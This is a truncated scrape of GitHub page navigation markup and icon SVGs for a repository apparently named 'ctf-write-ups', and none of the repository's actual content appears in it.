d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="TfeUXGp+I3sC2bPAVjzr0LDszE4qqm094SbWJ08qCuqbcn9caaLXmEFXN8wj7RyK6BdfxkYd+xTGfI5YA60plg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 